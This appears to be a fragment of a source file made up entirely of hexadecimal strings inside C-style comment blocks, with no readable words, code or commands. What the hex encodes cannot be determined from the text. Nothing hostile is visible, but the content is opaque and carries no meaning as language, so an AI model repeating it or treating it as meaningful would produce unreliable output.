0e2a6d5e795e04f61e04edbe4428daba6a99a9a354a5f837fb53289ca4b83776795b39b41aa0ae87c722b1d8fe0d7103e1726d1d49aadf3b4fb9901a43ef64198afec4befb8407c51268bb23e4a22f093c21586be977774dd13c232eeec80f3cd37a4ef440a7118ab21073cb18c672c9d83681aba357b84a9acde245dda53ddd8aa4a81fa44a0d25f27f90a39c409cdd2be0901bbe964bd8a00f237e676a9e5cb6ae256cd31ed9c27c0a309182525026043440046e146e2766a5b69aebc64c9ab036bd0c3b0979b883c79fbdb7aaa662cacf2c75596bb2068e84ec631367c0ce39ddb6dc2a7d6f8c481c3ead0099182f52c154fb6f11d0a5a35ab7d965eb80f8e79392bcd830a823c0e54f7289bcf8a257d401dd26bbad3b8ea3675454dca3fce57e1773aa201dfb50a899c8a493bf797cdc79907a2b49f9a3dd24590e82fd9c39486a57373327df8666a391b2f33a365104435dbf72cdfdd8bea6369985790ac847fa07a82bb5d92dd1ec980c3fe5a3dd4b4d59eb324d26bc883e6186e0df5fe76a3463489d4188d21aa525a5141ad2922eb3d45d7b7e6bf6cf1d511f1f1fad39c51bb374e60d874e6d52d3d335bbe7af57cbb48da7287f504e91e557b0eeadcb78c38bd8a89c241c1c6a265354a65ea2b243e9a165d7315952235dc6e318a8fcb9bcfa51f52bae253b3bb3ce8f5ff0b5ad09298d12dda4e6d2448a0d6ef4e915ef819cbf62a32cdc939a135e371344e014ada2cc3c291aa1bd17d48bf8c7406a728d3ac1b98ecf2bb8d2670a257593918e0c2b6b466b09ead93a35dc8d297d6f824b00e9de5e46292908d884a40305990de73056a526ba97736441941301ebde7fd5a5cfad32cffc219ab19adf4b88cfcb96ad0c198768307b9e1718531d4fd2b6a01cad997cbddc0a3f580e5a09142e4aa0c1e67a72b8b53fe170f79ab7e8d3df7a5264847bb94eeb09602f9ba0f86653722c1dde125ed0ddc9dbdf70889df8e46ef7e178d3501db9dbcc9c93d4155f5bdf8c0f833ba4174d56663882bfc72ddf06f728258b8b0ba91a40c19a6158ea49bac0e49dc0861bff74642448a6397f0a4ddfe9959e93c4d2e6c8596096eef8e83d0c18417a741944974dd40385dd7355b54eba5cc74af2659587583db2b3f8b653a8b738ae1e6edcd00ddd383042359ce2283869b45223878a41a97cd3a4d372f876609bc7f4d62b3dff26d12220d06d0f9f624fd94324e5bc53e41330f011fbcd556fc30373b5b794f20aee350c1a64bfac73b038d5f17ac968cad70e5a7acdcc2b9034d348b6faba554841f041530a3ce08ed98206ca21c52bc4b3d721023ebfb460287415cb7cbc3c98c1a192816eddcf8a73e49f70a25d1183573db2a24ecf84ff37188e0611ff3b7d5b2377bd4a41b36ac7b7da4ee6e2b98072315fb98*/
/*cf41307e855283d205860b0897897c5bc77c0b5870e55a4dab633ccdcc58110aced2af6591659756f7752fa4b3a95754235cfb4c03d740be77904e50f2b293601abd2fc6a2cf08967c33b5d0fe051a9570b0e43bbd368d1496ff994891605a03a4145d9c0276692183df499eb4f07f904f3f99bba34daaba6c7c8a9ab4165cb1b87a0a07ac2082e668be4cca73c4c7f17c618d9e2681dacee25c7e85c5d8691a5142da5f05cdc3b61191e3ab4e61d98c1c5d9b3e8f592c5b8f675fb4902407694030d202e9ae6229b49e180fb2bf737dd1de3ff0a6029cd353f97e45c3213397396f06644c8f15993f19ebba8c6a554130f0d6db9c94fadcf273c1f22c3a8b5ea66799813137e1cff6222bda07f9d6cfcabc62984ffa29d0a6323991c11dcbfb81ba5569226de160e0eac2761ed0fc580842dd569eacab91e26770ee53b4104dab65f817b710329484679c4a4d34a7f0f7710cca32339021c19a351fd2e44839ef2a52d5ed929d2c7fc4b563f5763659f9ca35ac9a0304d58183bb4580c794f68d9d9fd3d0a28c959d3878d823fdc4eedc96c069f8952eec1dff8b3006e9c7794305419ab0d84eb308fdcec13e5332760ea0b497fc14d897f863f1fe0473677496287fdedc402d6ec5911a324c5c1363cbe2f92cf439ab6613d6f5b9a5c82fe979b124fad98d1597a0b6828072404473c004daeebdaf987ddf0519f8b430f232190ae112e8876620fce716450ac0d1344b06e7848d35f0402fd8e5838aba8632aa9a4ebc9f757067eb195f06848f0b3fb5c53dbdf8325c24c3f94359c42591eddeeb8c09b9fcfe8225e69318806fc20d0e503ef6789377cf675052045444ae9a04777acdc0681e55fdebde4be9ec3e7756b9d2bc648a8b7c90b971e70109d832bbece9e3f1894e2eb134d21630e3070651872bee72d044bed7d61aec8eac1a8168d3596df2c9449118721831af72189c4c2ec3599e448105bb47886d091538c28f32d670dfa62753132f392cf280c2f256916024d24a77a7b6de32e1b6d79dba2624d380f50ef4e7c81a145eacec87b28596a6d68426c2a6b37d0ed7f8d0a32281f77d5d18580c87be5a47e7f79e9fa6b738ccac67010f6b2a8635a55639d0df627efe5e85cd17a2968653ae3c114a3747cb9072f2b5d8eea70ccb54881804e343f7b8cb3423b96ba09a6bb8107581fae33603ea2a685ab0d131d0fb7ea8f18686a7a3f14bd5bcb908cb71924fff00c4c31bb6f41902261835b2b673c1e3262927280e04b536a8c8a62fe171627487f81d292c9ab2a6a15f253d1b3cbd852d32f14534754691df144ca0b74409e5c533aa3fdf7951ae87db9229a60db5e99a9dd9056b63cdbcdc725164e109b163328ff6a09075054a9b30ad6c979c20066b3e5b248b2febf0e3aba6e4dfd3a09e213505ed800daf1f908c03a00ab6896830b81952791f743dd87b1b080bb286ebec3b0b56a4f640e27d07241587be72ce04d0d9b86184f655abc11e675eea7af22a8015fc194b657fedf76e7caaf4c1a6bd395c6dcca1bbc1e336c60d83313c59397e1ba47fcd121967be679f28879380f1515bed43403e4a4235760a9ca20b54818291ec838f41510e0ebfceb4f029aa58ae0ea8c9ba983b4a30bb5cf0b108c8a807761ab65ea364619a095b3f96edee62c3c798a7666378c1520e3de048cbf276f69747e2fc383a11b83e77b4501cd367361539c76f6d78bbe37f2ec379834138c53eed68b6982967c7d172b778446e5f9fa3e62e3ee555100605341ac72cd6d951271951cdb09828083dbfeca265a096accd4a1315dbb00701a561ee0047e6af08e12e265653f1c97ed1da83c7c17aaec9fc057a426192e43610ab84a5c903b95b62aaa0c2d85d301a67851a3da14c9c500c54e6d492b991577bfb892fe5fe478eb225f31f30cfbbbe4d6f6f5b732aeb9a1bea951dd501d49bf916c93baf7b0cc68137bfc9f3ddbe0f82a5d7445d66dfeddd8de6ee797e0370f9baef5dc816ab9e9d47d26a08eed353bea82b7c29fa5345daef3fd4e3e4dbbaba2145cee53d758e0fe7276193f0476e027aa150d2bd96b09fc2e9d7d106e9747631567b19c3b16b7cc6c2ac405d7dbc900207699fb07446beb5af7d17999a08d499050eabacd8e5f889f4f284737e95b760f898c29c8e897b9f05815103be9f3b042dafc1945b55bec35311135734f7bc1d4920a1d84990f5069a6f6223d74ec749b857c4bcaeacee7dd8f92f211deab2f292ab07e7257802399ffa8348742c7c4c6179238291382a2e5eb09c5cfbff2c2d29a46e58de2daee1280001210ab8132eff658c516fd4db0ddf8eb88748478d882d7b999e1a8a24cb189e1dda54244843de3f054e0aa653815965182ef7fdedba739a78a7f9d8170bd9eb937ca0bdabb82bbb34db6bf0ca7aa11f8977efa76e94a89563b5e31ff33dc0bf1093b975224ca041a0c596738e6782ab61cdb38533cfaa967aca3ab3ddb2982b7d8e3b15c082f58a0a868dc3773b7091ed2c4b448444025ac522fff0b9e0a2a55e301072df7d63c3e771f768e5602279d5e04003bbfee7c03d9c2e874ecdc5f4b30e906d70c892ecc61eb994b0a8d5d007dfc7c8ba47064f43b309029cff281717b619c0bbffb0f86117ae720a3c45195abe16b6077799efee960d68176b6a991973dd31815cb8c9f142f4fc0ab0457e3db12c97e8d4fbe73da2f8191c0e495a8f214421d618e5a74ddb0ac149e5ae43581ac022b25b68483dc55e771ea8e30e88deec5e0211a71040b2d18331875e116a58f9ea82afe36b6cd04b0df39ac1c47e33c5107e026189c485aeb1*/
/*935d82703e4f947ac67615ca66cad9c94f778ce114b2a0c6af81928db40bd5d3e44abbf67ca0ab9e849c201c6ad57ef0520d9d685b74b58db9f73e64676eba1811a20a871634923dbd9ec3dd0ee7743e394a527454547b58a94bdc2ce435310dc0639f585fc260c8014b769ea02f9a2bd887f4cf99a57acc6b0b7371b1e8603fba12fd883c1462130d6b82c9aa27292ec06e046c5c8c583623c850294c5a4b26c2b8fd709ca4d3d7d75b665329a8c39c28197a539177081d05caebe85096f30a86f11db1f31dfd3fc624dcc1d534eacbaa606266a212a4c9b087da31427dcab3b5c8ef74d7aab91bedcdacf5cee1032886f8fcf72544a371f83712e63b89dbba6249d92a4d40856a44a6be78212112e80ae210bf55a6789bb61e3e4c910a8160f33998faabcdca54eeb1b4a19c2e82afdc72389c22b8898315a037deb5c362a46c64e9606af07ef4f9bc0b142a78ae608de9449920416d567056b3edfc0b1d8eb0b82be24f37ff2addae7cabb437482d41bf145ab6af00789c2e8f47291fb9c0df18e2a4837b741c9ea31ae04316d37491036772d515f1ff4f994a6aab4b2f2816c43c0c7e8bce3eee49652c8fe6268536bf4ed1611145b871c64a871e43928f986287b1f400376a01f475024597c4ba9777c172d544502efe306f50085553d01479e7accb691a2320ffa1277fd12b2466545fb882b22e842cedbee6c538b556371d16a5f8e4603df55e4500a00371288a8a34f241890de73c44d366ab0ac2aac48e991478463eaacf2b4830e19d262d4222d147df48c3fb117534ddd65dfb10929a5772454675623e607158e9bc01cbb77e6f9788e050a980a8400971cbc0ee14c7894a91671d76f8c90966946f51629472db5757290a6c0faeeacb0b12eb090a456c6538cb497367c86be70eeb495bc4eb30f1ba0351b73af711c16005f7f54ccb3e65e4d2de47534aab292b0a9a0f717b2ea6b386bdb979bdbc6b69c2c806fa186eb6713befc0063d076fc71cc39ff2ef395144d6bc92e94402ba0f6db7a2ab573b9a37d1d7e651d3ce07a49815a6e190eb531ab731af2bd1c4f56451a414a4cdfde71535320890e2c742ba6a42698dd88226e26923fac3ca2962a157685493b9870bf64d53097f14305d5ec052978cd96b98249ea98d263f492d3aedab438363536a3fd8f21b445cdab84ff9cd84e8a647d3a41a703678a01526b000734d35082f4e47f1751be89a4033187de3794a10f97ee9f13ce0471553dcbac93876beb4bd07e38b19bb0c4c465fedc2942bc9c747edb6617cc1f741130a1fa197dacb69ed6166831b864039e72de2d4207bd0830b72dcdb96fba465cf8116936c249e78a9bbedee51e3415b41aba225122d634c5793902c0e46cb36ad05dfe6837cd6fdf37b6b4f9b43b2309851f77160b7a42e35f41a8476c676416f74a88ca78689ad91f67b8fc546227e127ddca953215ddfe728b1571d1d8b1729a61a11a8a9c0c160407545670ad1e09d82ea3a20cc14839a64f552b927a489066177ee6b87d0e098b52ce42fd49909d103ebd608fc8d8734b5fe3f6813ad6be2820e6990e0c3b9b31213702696379777fe7bc84708a12ddbfe41851dd339477c4dfa34f189b03212e9ea15ada5f38b4baa16fa4ecde881720ce4888412345d865d4d074d92c0aa417af26d6dec151eef0d0828ea70608288455451dbd328893a4f7b9745eb38f1c7d5572223c95e0f527b349a398746ab33440e312274f30ab14690df0ab69ff00c216afb9cf6f2d5de627a3de8faa80bbed2a7320092aa7c9dd4ca85ee6408b2ee674589006ff898150d12fc3941ea492e10d15ac35c5b1f1f2023022aa313906655ea1f8b3b48005a3c7b49a5be8720f9b74b3a1d7da4379df4cccc4b4bdc53666225baeead3a0904e259b85f5847b2addfddad1582d17cdcdb2bde0f216039b198e8ed6219abf4f62612bb514cadd86ed0f4daa1c130b02fb28fe3e7c6ff2a51555cf1f1c9de480bddd518f6bed304777c047302f209e0c3c878eee5c538fe45cb6464c2cc08d06c6245d7bbe47f463464e99b74cb2686e2fb51814e0b6bb7f839efdf3e42e5a701056c31e85fc158c917b0ee56cd48c5b506f85f8066032e07d56bc145b5a727ec2143f4e6db65b5a669e26e0125b5243b5fce0e6a5c088a6ed3279b4de6b9b67bea2d7dc31901ca536a7c042c5368d4d6eb6aa0e8075e78c8da3f1e2a4741ff070770676955c0ae037ce728d788fb8c5b037dd14e9651ba5c590efdc75f0280501075c12618dd57775ea1b75ec7a8333b5548bbe99985f67717a7fce92400845e7efbad2c8d80309e9a3281e88c41fd45b75a5309b183a4c26dbe315c6a26b5d375ff68f635a09e35d216bbd0c9aa892e87c99f919827022f083c8c88a13790a55014659a23eb971f1c440cd3ac4ae31950d831e938b2bc60619ca2fff7067d242d6f79e02f83777c0f8b73054a32742e7c574da406a65363e1cca94266bb76baff53b1809c739df6c13147020be14ac7c75d0a98e84d598c25cee3c3fb968a5b8489f7d3a2fa42c08f01e9ac29d6dca48b827cd38cc882808d3139359e913cbc80b3e162ebe8e230218011d15ecd0f1f44e314b6ba858d95a6c1a45391bd6948cdebb75f3edf96838fdcab752ddd3337dbe4c1773ff65e1373825eb56c1fbd2f6b5a8a053bb7ea460bfb5591e61f126c8a4b3622521bddc9afd45e7529b5cbe9e61a3fd56cf3ce692099813844c36ccfab5af4ce84a91fe8c293ac146d9461d0fbbd808230ede440fb247aeb7375aad398297028c36af3d55ec0f05f197dae62bfb65a4471*/
/*c61058b89fba611fcbe9d218e1dfa75d19f009a33630de79bf51bb655eaf28137306c86e6a3cbf5bb3d6cbd4ea8790525be17d90b424cf9144948886cfe4a23bd70edbc0edf64a2c4106044864813acbca4b39004dca9769112a0a0c4c7913a59a80c3f4c5052a346ea738d0bb471596e0783281bcfbbf07b585711b8c6ec7eef40ed08541be11ffc53134ba5350aac7fc938e32570d89466748239fa669c70c536957fe8492641314fc431d77e6fc316de12c51de17c53ddc5d5bf24c840f0e1efd595313a8f00d6234664c357af7ea1d37f126d92250febbb5d82dfa21c5e1ec7fe38c49428cc0f3e9807e098ee6fdbe3de320632f751345697714e233d342929b1121390025ef82ee7687060aa05e7dafdd7b7a794a139060b9c9d252ae52524c2d6eb61d5ced3e2c78b3c48e5d57eb9ea54395f40fe7f6b833b9786caad5cec691ea3ee76f31c1b48e5f5fc85b5986b0508ab8d3d24933393382b583ae71a9c59a559c6c98960d04a53e6f2187956750529cdab29ed2b7d0655a0a4bd2b7de4d78710effa4bb1301f9ebbae84de4fe802a9713edadbb5102a6128b7525aeed59c56a56a574c6a4805fa803f24cd83c092f1ce55d63e70ca49408247286eb419cee95f0637f8def4fa9eeb6835aab111582c8df034f7adab976d7fdc06b97543a8aab77a62966bad40af226ff7bc0e91f9a9a2d2683ee5310ef5dc2b34bd0ea680f68cda15c70a3bd95dd4edea85250ad9f25881b5c465a17233ef5f02d356597eda235bfb51deb616715ac7b3732c0d1b56b4776c0f75191111f44e0bd57bcda6f31037cbfaf1864f095bd48377cf374614a9b20205e9a174f3c01ed0f88fde07ffd297e75780984c17aa4ff9b2bfe64a24f50f75206a6784a348ccf912f52392b9780d58543e9b4019caac9b11aafcd82e6bff01420ed38381bff121107f603daa5fd350b79da065675baefff0881900492869e2495432a81faefdcb4a902c1fc30744710787262a417592aa0650cbe19e43aa36ce65e88cb485af4b24f9940015ded3a9f989c4542c99ebad19e1b1e4ce5ebe095b5c23f5017f986d8ef325fd42fd9bc8716fc8d1b62b1560ab172db1f0350bd565f3362d21ff85d34a4a350d70680c6ca88548efc53206015e3d5aefa3379f6840ddf0ac88e2ac3c3f82c05163f078475ff9d1a3c19e40cf20efc0d6ab6cb3ba32a2c9e063e8d6f08d46b5892ad684aef86697cf62c2e4aa757f4e981a30b656e1f106b65633f3fa41e5f5d8cf0f325d92ea74c0683d730327491910ecf2b85c2868744d8c8fd3e2108c1e466d9adc833a0c0a629c893969d3045016f3b260673c4a1f8de5c31090216e905f14d9f6957338363afc8bfcc159bdccefeafcf55d9e79247ba3098fd493dfab97a672de66d6f0ebf5348bcc4f25305d3eb1ea390a2ce481fbd952317d8e83c517868be3d717c6a4495c9c61caccc65adf1aec59c40eba7389f853ef9e54b59a0d5f63431e58f120cf330950febec5342b25550f5c381d0f13400ae7eba8c3a04d109ba602a06c35cb5330288795b673c9b828cc89521cf8a4b62aefeeb8ade1d6598982752f9cee9aa96f1fd5f4e65da5f3bb8a92f28dd3fda91f733a8385f1c5168bbbd72ea441217015456863f30f98e129979ce3a595a933b04011b332626fc396123ba57301494ffc7b994b0a0aae733d2f00e15984ac75eea14180211fef876ad0bd8bd2abf30ab27c803829d74a08f906334c782ba22e4d43ebbfed6d1bac325899e37a68bbbd1b6fda4530c2d60ab6910ebd7d7b20e307b7c3060aacd8d9e116f99ab95a750764aeac48d0f38b45133a39e46c8f0063c9b26548464559b049a598f24ec6e1ef7f8f733837fdc4b99bbac064397b55d7dd16f03b71114cfa91e196c135a54cab50e33d8a5b3bf3f6137ec41fc9630dad4ed515809b9c336b6bb317f7ed53b1a2d389f3ae300a8023a2384f0fbb018a1a609be764f3dcd2abca2c0039cfdb0e228ca343ddb633b2be30f23ba2f923d86f42c6181d4015135d235bf3a61546c7b7a54324d02345bce861531b9465d0aef7e01eee78a49d3a8f4b9c975d5103a849f9314bc2978bf25054f6b10d336b3ccb541ab94a7e64608435fda598b775f7dc0ad5ef45face59297a4c7d0e27d4b9c5929aa97900edf0b8de0da79372e45fad32a925a5e60ddaa452548b8bc855403e939dc44850bb5293e87b2fad6d4297d6d9e78ac5467e3afbe08f171c5600886ee1d7c0249193552caaf917cd8adae8dac13e41726a8f0aef283035ff37e7a27ef8e92f8666f2ea317946ce6166d3d4379a6d45427c6bc5953f5ac8273a345fbf22dfdd443e269dd2e38de55ee83e8dd733b2995f7d85d24c084003470c61dfa671f644d89c32033a2fbcb0e426d3d838560dc410b7707858f08ac403f97c3327d68de3be3f34f1cc6c06ab6ed852f7f1d3acaefdf91dfb092e384a65d252f4ce425756f8335fbfd6fe0676ecf20ffe81bbb035f10455ceb489f7281e3ac8e8986a84b5bd29961a4e2b48388bfce1796487de1711209641b2468e9163b307dd5fd37537571f6f1051e330f97b05c6d110b45141744551871debce3bf3ac5cfe5fd43596298d4b11b138aafd7e1cb5b8472aa0bf962fbeb85cb386553efb718cd2c7c1ccd873db45ffe94ac1ebc8033186429804fdcabe4e2884a6cc67bb1b56f70ae99760f9d2933782ca12084eed3eff32b72046c5aca227ff8496aba41a0e7ae8b352858523e8e5e6a3f2c433ba6f5ac03c59dd1db1ae7e53a8f243874679934df2cf82ef6523e4228c7143e84747b86827c70b9*/
/*92efaa93993d0cc4cde6d78255f46d0d021fc2460edfd39d21aebd81359dc30f4d57fdd50e106efd65a7d0b2a593e1c42f30403fa43574fc0183bf5162bdb585e51f171cc945ef9ff0c18dfcf347c6ee119713b4f1b2e16a1146dedb5190f523fd398ac8a768005581db76705391ec622f12ddfa472267eb24e49f3c2c94c9d98f392fddd1777415fead4fbade853e930166045dc95df8f0fa28b702a450865e85c3d4a67cb6a5d9b4a1081a13bc78a53455b04749f7423870f87caaf38a4f76f0aa6c9c3c8f644ef87959b6df88c3c069eb6afa728a8c4e222b28017b208a64a63552fee3c6248fd434631f8e11ae3423508d71ace0d9e933f6211afd8f2b04fa4af5cefd89a446950c896808af2884dcdc8dea10c61c0ae6f2f1477133de00ad9580473f19176ad7a83c9adc29f7e10b8a1a531654b11f2dc3d87cb78cb9be628e06f120ebab9347b6921ea5d1550a9ef963fa0ff96141603eb02291a5971b8b835988a7af55e75d07f4d6e052a6b01a8b2f5fcc4ae8ecc63b0ece95a6d602c2dac686eb63433ac28432a55ab3d37182f2ba1e52df2690917bbc51503cf26aadf9fa68c9121235e134adfe9113ee660b65598f753ece60f94048225c73913e6061335237750eab2dbf3f2277928c3f8e0352f62a2cc43290166b66eeb24702ae90c5d146f0f77a6f72cfb2d74ae235e154978a1518ff83cc59569dbbc61e587ba087054bd3a2e78d3d82c5c9a8ec744dfc36ae45dc535a652965d1f497ac8f4eee51ff332ce08294d576c0aa38cdb6a6137a22d49daea0cdbe35f5cfe78e90ecd3d9e945dcff2b2a36dde8de9df8a15fd62a04c5c0c491d31a4bc12459e24b3afd5a26d6c1804279f505929196f95db4d91746a80808ff78a1873123ec9e83771caf89fc06ec0fea4cf314401ff5e5c0b8ae1b763fde3edf22dfc5e34484168a0cb9ae7d050eab7bcdf9509fc7cf6c2e8b4d49f4e229646d030fcec61455e5efcc729f2fa0151a6a97f50b88fc136341fff3b4d3351e7789b7a3d3eafa0e1278206d63428045638928f07f8a66e57d34a67f3029f7c978c2919929cb03e1593a7d1e19f091e37f1902091f4201766f44e827d2cc4c3d960a15d96b9a0255a0aa29fe74840c8a46bbb58351f6e863219739202fcf95a2bcbde293ba7e780a9ac449c495eaa67986d03d00f7528eb70382763f38a169e39c4afe69b20c5af0ff6571108523d81dd9cb7f8fffdd5a7230e5d00d63170056a2e49161d12137b8961845156769f8be92a02b5cf56656cfd42c33d0eacefc55671c695668aad504aa45241d60afca048e59822217037195f59528e0e8ff7f71c32976484103cc04036642cd8e7eecebb990e81a82b2818109d64adae3edc953c4fc0da9d2fec62394429f2c8d7c3bdcc3d107af06eb30212e43dc56434e6a36f4def2c36e4e343f3df27fee8510eeaa8981161ce3b79ef58807e19e439a6f4403db899a1545899d7ac70b27bd58c5df0aed1cb6e493f890e8650f033b6732558201bf43c8ac1036789313ba9f733415a37c552f2e2669ad29fd05fb2177cd3e06dc0af332982500cb496a34aeb2d2506fa1bf38f2e0b73d15ae250553d57a2b13b2ac89f1e91c0021a1529f45104f2cd1f8a26c6e197bce9091620d8d9dcd12964176847884b6f30eeef3d8182bae79230e221913392bd5e6ad33f2ae5c80da2d6e2dbc2447ba67b01d082118a1b951895074c7e8d2c89f6a36866e0f1e54f29bf7d61169ddae99cdc26030d384d254ddd94fd2bbca1c77e574b8087b07734c170a58c11a0796c926a3241b4226439242255ceee87f7d568df3156df86dc6329754aaac0de18be0e2f945d73d3b663ef3601cf66a73640934e12a123acb0d15989c4873f0c49f8ebb05bf004cc034c248cc14b3cb942c6e45b2277a805f0ff653943a3ab93c189712c8d6e3d26ca8dabce5d0b35198094174d7b12810c53645df045285f753d0ff4b2829e27a23950ab656203508aca36621038d151a3c4e861a0b610c731b8252028bc80364f6070d98c1df77694984ca9ae3ff08d85edcab376015f29813828af662190eba3e7580d94d2af47163cc9a76a0d23240a4b9533ea73620322b96957b95831d38e2f2204069c38ab221e5d13de884382c3ea84fd70ef95cfa30ea6bf9e1286ca72921f371cd6f38a6960afa8a36a16fc8623f723f0167f3219b7cdc9985c3fbf52714a5d94212a8068ac5e1ab06089d6cfbd9e7d94a262b7c4982ab4e22cc3056f485e9d42922eb74a29ae79a4b5a215809ffef0ff754e5cae837b189e4e00a19e1bf780be01390d6828ab4d0e00abd8f635f11241e8f661d5d8e73ec17e942cae232cdee5a01cc328751519a9cf05544693a1cf14dd0af81bb3c939b937fc956533478f06d3fe7e0dad1b2423e56b2fd8f7ba6b693753090aeb56267ac77375bc30e7a706589323cd25de943f8d2677426b474594a6091df2f106749f3c219694282a082060e7a2e716c677cfef4c151f634e0543da7e71754d22f908b78dac5d567d70d352fc9d40afc28f9a82b943eaf8ff1ff037ce58ecf288dd79c14cbdfc14181b370e984d6d5aaded62db3b8e8317676a9cce5013e28ae05e2e8ad2e9e8a2100dff865195a32c7b58af4328643bfe3a3bf03782d734059a77bf19a0f9238ef305ae945ad561d51c66911266bb78da4d47e30c96e9cad0568c1215e2c033ab1f36f08c2c17cf15ac908e5164317f981a6fb2c72568e038bc32451312bc1afcc332a77657d963224295a67233a0e6aec1c628d77683a3e4c576b56105657e730157e1a3964c15173b6aa*/
/*3c45454c418d6377e9b30ae26806e9bc97879f4b47ecd97f04ee9ee501421ad766db2553af798bf156183520ff43a80e89edcd607c963263f6db59d44053f169479f074bacbc13cb1ac8001b214e0090c28bda6831350d0c65bad48b95c94d8500dd3793e314531929ed464089cb0e7b20abdddf3cecc046d7b187b65d2b8866ca64ef1f29030253e6104224ef3538b4df05d5a52be628b8bec5ac94ce70b49d884d6b4c473a239ed067d6f90c2727d104316f688253911d47b7c74e0bed3a59ddec075d55dcf836ec3573116a4c7cb2961d3259a6947fb94762c53eb9545d63a6a6be3b19d23faf995dee15072b27abdd17c9dcc6ffaf85002349b23ee4868a495ed9348a484565669f83cc712fd2cd8bf735a4ea2b15eb7a5c7b40b1679c667c2edd03ed211e16433bf3c2d23373aa317808d229cc6a6443278d83ab11663e9d4916baeae2feeb97216a5a8e38b3bd525b234c4bd752e1623f3259480a2f0f8e89be6f3532e69792c7fbf840237726fd9248748808c8a98f90e3c5d18bffb4c326f2f76c30d7a1dfbe3a236ac8a91c2a3c3049dff69f4e9357fc5d06724d76b48f287a7d1c4b3e0c6abdda7521b32f2d04face38377b7330a8f78009b6ba7b83e43b15d4ecccc58dab85b6c137c98a5797653926b92f2cd58afbeca2bef4b558c72b1d2b75415630fe72720a2172fd5799d0f6d39adfba6448fed83270d34bf3621212f29c9a60f5fadc905fbee072d0a145fd9a268f19e672efb3f6f746633aba7122cb27faaf75d4daf591195eaf6b6173651eb4827da61416abce1930c5afcfafd94c63c57ac55951b6ede4b3b97c680c49f32d7b883bd9ec0ec9adcf697cd383a7757a54549672641fa406bd4d6399101e8959ee1c5aed43c09a66174a7bb3de299a715a0f2ab476502f8f64c91f839881ed10307b2ea5761fa5d9b7bc34af349778313cef8d7e6d0ee984edb728333fe5d2d976287968db5ae7737c670276d36a1e5940fad0c5e5a272cce5d227dcfbcec2c9bfbd3b42da94b9e01ae649cc91237d9ce3aa3b07ea22f1c421b17cd21ab1b61d3ca75b0b0dbdc506805fc04025fdbae9e3ddd71eac0652f2de005af0b8d12988febdfcd5b771607bd3727c0d5740789d4c69c0b0083b4a2e978debc110ecc32c610866ea25d6cef91d51f636353b57e511e6d9e8d205367360c4573008cb6e3b2228cde9f65b2b60478666c5cddd8fd8cffd5964c7513a7960596900137f7551853120bf2b03975cbdb61e5d83ebe04f421e9c36287a03f7e8d331eae7259927b38c9cc307417e120ebcbd758cdea992244992c2962a2212adab50a98c21d6d99c21748c216a65535d7f2d7ecc5532f861c2bc9ddf0fd869b7711d3dd75f37e924004649391f75515528f24225c0de8e89f1618ead20894e4f9c2bf19360bad9837096967510b805ead03a5830c01c6b519a0214338f7702ef71da8f38c0f7301ac3b4212a25b80fc6915b62e73908bee33a05fca478697ab9e1f64d603fa932362dea7237e9bec61cfc029742fd5ce02b71d10562849899db246a339d704264197736fa41c9b298e020be50f5ce53be73e4660ba7e6b79f7c109cc5ff3d9b962e71f6393d2f7f21c1023cc527f7226a24b4d2caea0bfdbf08ffad623b5795a23d9dfe63f10bd030a7c698c95e1092f0bd8f5a8b1e67963ddd1e89242f57c2db9b9537204db3fefe18609de41872aa027b7bc9c1c04a7adad406acee6d9e0db2b5841cbd7604985bafab65c3346b5efdf7cd70c9ea438a3bb70c041575513c87f64813aeb8ef89cd2242dde92f36f87c54a969bfd9dcf3cb1281e9008db12442d559bd34fcc5aeeaa1ecb9f44a9f12109e198802fa8d2bda165cc48f8c1c53bff24bd8a1b87045e0b23adc378312d9a0b26c06077072b9c0ab65487ab2e96cd9e5d1d592126ecd9d7cb48f9dbd3e3a400fbdbdde6db33183bda97986a46607133b9100d18dd40f3f1675badcef30375e0c04d4b50f15d456a23b30e038f1370ec21a1b4352ab8fcd381302e89467d90e075d6b08f7d3121be47cbfcdf63087e18955539e530012b0e4667020dd8af65c2b6f74f1cfac7e093373ff6ad097c6b68331f2eca1985bc506f915ac8a87793a717f2816857198d9be3ce67b9903dcc2e24901a434896f03898435feb3436cc706e4745f3ab4b67ee926f3d337e06f4dd926148a1285cee4e2158df67c978bb487c99da2d5a4431a3e87b08c0b8e0876b4e18785d9bd90b2bb6f4a4ce2254bec570d69b3d9240d74ffada1d9b16792175a954ffdd2120cbb718b9c21334ef4741448a4c78163c8fcde9fdaaf17972dccbc8b4fa21c42125785221ba4b31182ac44875ad849cb03cd723f91a5f9730d84d7581469ea41a7f06577690caf923ccf7f1926c921b2152d63339f57e8de0b0b32c3a2922c3683881f33a609f0394d2bed5d38fa7f3fca56c89f39d897a76d0554429f1bb7bba2abbbab70b90d0d9082b06bdace2fd8e765f1bd5bfb35ae7459cc1a74b736b13f866a11089ed52df61c2a69fb1c82dbdd2910e7dfb1635d794ff131fae4371f9d2b474b5c0f95328a032fdc0c906a5a3cc40e49b00da578dd5dd5c0e29159f471a4cc6003d91a16c7a60797e1dc8e616746362fcf3a49154ac23e81978fa814efa91af8fa0ccffa82924b1f41b53093c3cc9fcc29906730544decf9aa9668f22effd7554484ffdf2aa77b23b2a0d1e52b86972dca14a04a8621000705b556b4c166439a76f2b729ba49f1b1d64d6595923d3925dc2c61db924d6f39fea851967c54d8d519cb515b585667967c7a7493c90d6e5d*/
/*9ae0df21e6e6ed76fd7accb9a2a1a5439fa665d24ef64c5287662c3bda22887d64e9a1196bc8cc1f3af3cfa41eed4ea294763280dacd9ac00460b827d1644bb5aa7368e96ae988978d9422c0b04c0db98b65e12e1af8be6f8b8ae376a91cc099e54b51ac965048db6871d4826c94521495be1a33ac6491eabe065d6d421f8fc783a098d1eab565fbdfe110b0e48e817e7114b2294a50a1d3b5cc9ce1d3e08b3581f55274aa7823e549a2ffc9fb8578563f9ebe46ee76db309928bdfa0d02f8d087040f357e43963a460ea8c8edc714379b17ade23eb62ef7e00c58b6c94e876fe72318cfb97bf6aca0afdc5096b5949d11fc06d8228d0f7cbec574faeb89d9e844c08066dc69aea008d8c5d888f0ea7bed5ba096dad4543ee52d015d3ed76a3e4ef9feaf6ba5586596358c6fcf6da55b4d593caa125ba626d7645a1eb37206a146716f6f84e9802262460e7010f009f188eef7866837f10b867866d236fb3a48fee361ebb229ab96985edc3ffbbdea061a0bacfbbdff5d2e0ed23971bd45011f3f5a060b0a9bc5b17c20685263c6a63f5ef4400044070229f7c10f5df387f1e97ca506d69e2a33bdd49d39edbcd33b77072b0931d88b30bec39ad6b712541f4e1bcddec0566942038056c57a7292ba8fbfcd15080ffc96686b9f9c43de149724fef5ed2945dd83a8b114eb237b5de197c3fe6eb5b9551f6260d4f16790e9ade2cc9a44